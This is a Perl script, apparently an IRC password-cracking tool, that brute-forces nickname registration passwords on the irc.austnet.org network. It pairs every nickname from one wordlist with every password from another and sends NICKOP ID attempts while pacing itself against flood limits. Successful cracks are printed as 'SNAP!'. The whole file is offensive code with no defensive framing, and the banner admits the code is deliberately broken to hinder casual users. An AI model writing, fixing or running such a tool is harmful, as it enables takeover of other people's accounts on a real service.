use strict;
use IO::Socket;
system('cls');

print q[
                                     irc.snappa.v1 coded by hashface
  ---------------------------------------------------------
  depending on your list(s) and the flood rates on the servers
  this will snap nickop passes quite quickly
die("  --  this code is cribble purposely to stop skiddos  --  ");
  ---------------------------------------------------------
];

 my $server = 'irc.austnet.org';    # server
 my $port = 6668;           # port
 my $c = 4;         # connect
 my $freeze = 0.8;          # nick
 my $rejoin = 5;            # rejoin


open (FILE, '<nick.txt');       # nicks
my @nicks : shared = <FILE>;
chomp(@nicks);
close(FILE);

open (FILE, '<pass.txt');       # passes
my @pass : shared = <FILE>;
chomp(@pass);
close(FILE);

print '[i] nicks:  '.scalar(@nicks)."\n";
print '[i] passwords:  '.scalar(@pass)."\n";

my @cock;
foreach my $user(@nicks) {  foreach my $pasw(@pass) { @cock[scalar(@cock)]=$user."\x01".$pasw; } }
print ' = '.int(scalar(@cock))." combination(s)\n\n";

my $irc;
while (@cock) {
    irc_connect($server,$port);
    if (irc_auth('abc')!=0) {
        print "  +  auth\n";
        for (my $i=1; $i<$c; $i++){
            my $cock = shift @cock;
            goto _END if (!$cock);
            my @temp = split(/x01/,$cock);
            my $_USER = $temp[0];
            my $_PASW = $temp[1];
            irc_nick($_USER,$_PASW);
            sleep($freeze);
        }
        _END:
    } else {$rejoin++;}
    irc_disconnect();
    print " <  disconected!\n\n";
    sleep($rejoin);
}

<stdin>;
sub irc_connect {
    $irc = new IO::Socket::INET(
    PeerAddr => $_[0],
    PeerPort => $_[1],
    Timeout  => 1,
    Proto    => 'tcp') or
    die(" [-] can't connect to server ".$server.':'.$port."\n");
    print " >  connected!\n";
}

sub irc_disconnect {
    close($irc);
}

sub irc_auth {
    my $result = 1;
    print $irc "NICK $_[0]\r\n";
    print $irc "USER $_[0] 8 * :$_[0]\r\n";
    while (my $input = <$irc>) {
        chop($input);
        print $input."====\n";
        if ($input =~ /433/) {
            print ' [-] nickname "'.$_[0].'" is already in use';
            $result = 0;
            last;
            }
        elsif ($input =~ /^PING(.*)$/i) {
            print $irc "PONG $1\r\n";
        }
        elsif ($input =~ /Reconnecting too fast/) {
            print "  -  going too fast!\n";
            $result = 0;
            last;
        }
        elsif ($input =~ /MODEs.*:+/) {
            last;
        }
    }
    return $result;
}

sub irc_nick {
    print $irc "NICK ".$_[0]."\r\n";
    print $irc "NICKOP ID ".$_[1]."\r\n";
    while (my $answ = <$irc>) {
        if    ($answ =~ /not registered/)  { print "  -  unregistered ".$_[0]."\n"; goto _NEXT; }
        elsif ($answ =~ /mismatch/)        { print "  -  bad password ".$_[1]."\n"; goto _NEXT; }
        elsif ($answ =~ /now identified/)  { print "  *** SNAP! ".$_[0].":".$_[1]."\n"; goto _NEXT; }
    }
    _NEXT:
}